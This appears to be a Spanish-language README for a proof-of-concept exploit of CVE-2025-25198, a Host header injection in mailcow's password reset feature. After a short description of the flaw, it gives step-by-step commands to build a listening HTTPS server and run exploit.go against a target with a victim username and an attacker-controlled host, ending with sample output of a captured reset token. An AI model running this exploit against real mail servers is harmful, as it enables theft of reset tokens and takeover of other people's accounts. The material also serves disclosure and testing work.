
Captura tokens de restablecimiento de contraseña de ataques de inyección de cabecera Host en Mailcow.
mailcow: dockerized es una suite de correo/grupo de trabajo de código abierto basada en docker. Antes de la versión 2025-01a, una vulnerabilidad en la funcionalidad de restablecimiento de contraseña de mailcow permite a un atacante manipular el encabezado Host HTTP para generar un enlace de restablecimiento de contraseña que apunta a un dominio controlado por el atacante. Esto puede llevar a la toma de control de la cuenta si un usuario hace clic en el enlace envenenado.
Configura un servidor https para escuchar todas las solicitudes y envía una solicitud POST al sitio web con el encabezado Host con tu seleccionada. También puedes usar Burpsuite para enviar la solicitud y obtener el Token en el servidor.
git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server
go mod init exploit
go mod tidy
sudo go run exploit.go --base <url> --username <[email protected]> --host <ip>:<port> <--insecure | opcional >
Después de esperar un poco, el servidor mostrará el token que puedes usar:
Redirigiendo a: http://mi-dominio.com/reset-password?token=F53F8F-CC7A5B-E0CC4C-98680B-A72245